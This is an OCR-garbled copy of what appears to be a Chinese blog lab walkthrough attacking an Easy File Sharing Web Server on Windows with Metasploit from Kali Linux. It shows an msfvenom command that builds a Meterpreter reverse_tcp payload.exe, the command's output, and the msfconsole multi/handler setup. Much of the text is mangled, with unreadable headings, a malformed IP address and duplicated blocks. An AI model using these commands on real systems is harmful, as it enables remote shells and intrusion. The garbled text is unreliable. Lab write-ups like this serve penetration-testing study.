SUSERA

Occam's Razor. F 2021-12-13 13:44:13 KA\ 2104 KR

NERE: ZE

FRALE B ASCRE ERAQICE, #IE.CC 4.0 BY-SA WRAIMY, 85 _EJFE T s M A=,
ACEERE: https://blog.csdn.net/gq_23690313/article/details/121903295

FERAL

HULBA

— WIS ZEN

1. §EHlZeasy file sharing server (efssetup_2018.zip)

asy File Sharing Web Server
Server  Help

0 ©| 0 @ &

Stark Stop Stark 551 Sktop SSL About

s Pt Jsoo
g URL:  [http:/f169,254,133,37:5000 =l

opt
S5l Fort: 143
. ) S5l LRL: [https: 1169.254.133.37 =] [sa]

Virtual Folders
[ Launch Web Server at windows startup

gj [~ Startup minimized in systemtray

bl Automatically activate server at startup
forms Automatically activate ssl server at starbup —
Enable guest ta login Information Security
Enable guest to register a new account l:l
Lagin ko virtual folder by default
Allows users to upload files to Forums
[ Disable Forums
¥ allov Files ta be overwritten
[~ Save log ko file
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. Metasploit FH
1. AERRCERR. .
B SEIT & 55 % Amsfvenom -p windows/meterpreter/reverse_tcp lhost= B HLEIIP port=5000 -f exe -o /root/payload.exe

nr il lﬁ. Kali-Linux-2021.3-vmware-a... ﬁ ExpNIS.Windows

S imP B ] kali@kali: ~

- kali@kali: ~
File Actions Edit View Help

e

windows/meterpreter/reverse_tcp lhost=192.168.1081.129 lport=5
200 exe /root/payload.exe

“[ID"[[C[-] No platform was selected, choosing Msf::Module:: Platform:: Windows
from the payload

[-]1 No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload

“[[DPayload size: 354 bytes

Final size of exe file: 73802 bytes

Error: Permission denied @ rb_sysopen - /root/payload.exe
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2. R EYL(Windows)IZ L
1E & % Amsfconsole

kali@ kali: ~
File Actions Edit View Help

windows/meterpreter/reverse_tcp lhost=192.168.1081.129 Llport=>5
200 exe /root/payload.exe

“[[D"[[C[-] No platform was selected, choosing Msf ::Module:: Platform:: Windows
from the payload

[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload

*[[DPayload size: 354 bytes

Final size of exe file: 73802 bytes

Error: Permission denied @ rb_sysopen - /root/payload.exe
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2162 exploits - 1147 auxiliary - 367 post
[ 592 payloads - 45 encoders - 1@ nops
[ 8 evasion

Metasploit tip: View a module's description using
, or the enhanced version in your browser with

msfe > ]

msf6 > use expleoit /multi/handler

Matching Modules

Name Disclosure Date
EXpIOEE/1inux/local/apt_package_manager_persistence 1999-03-09
auxiliary/scanner/http/apache mod_cgi bash_env 2014-09-24 normal

Scanner
exploit/linux/local/bash_profile_persistence 1989-06-08 normal
exploit/linux/local/desktop_privilege_escalation 2014-08-07
exploit/multi/handler manual
exploit/windows/mssql/mssgl_linkcrawler 2000-01-01
exploit/windows/browser/persits_xupload_traversal 2009-09-29
gxploit/linux/local/yum_package_manager_persistence 2003-12-17

Interact with a module by name or index. For example

msfe >

¥ipayload.exe & #l| F|EHL H

payload.exe

CSDN @EXCEPT.-

Description

APT Package Manager Persistence
Apache mod_cgi Bash Envirenment Variable Injection (Shellshock)

Bash Profile Persistence

Desktop Linux Password Stealer and Privilege Escalation
Generic Payload Handler

Microsoft SQL Server Database Link Crawling Command Execution
Persits XUpload ActiveX MakeHttpReguest Directory Traversal
Yum Package Manager Persistence
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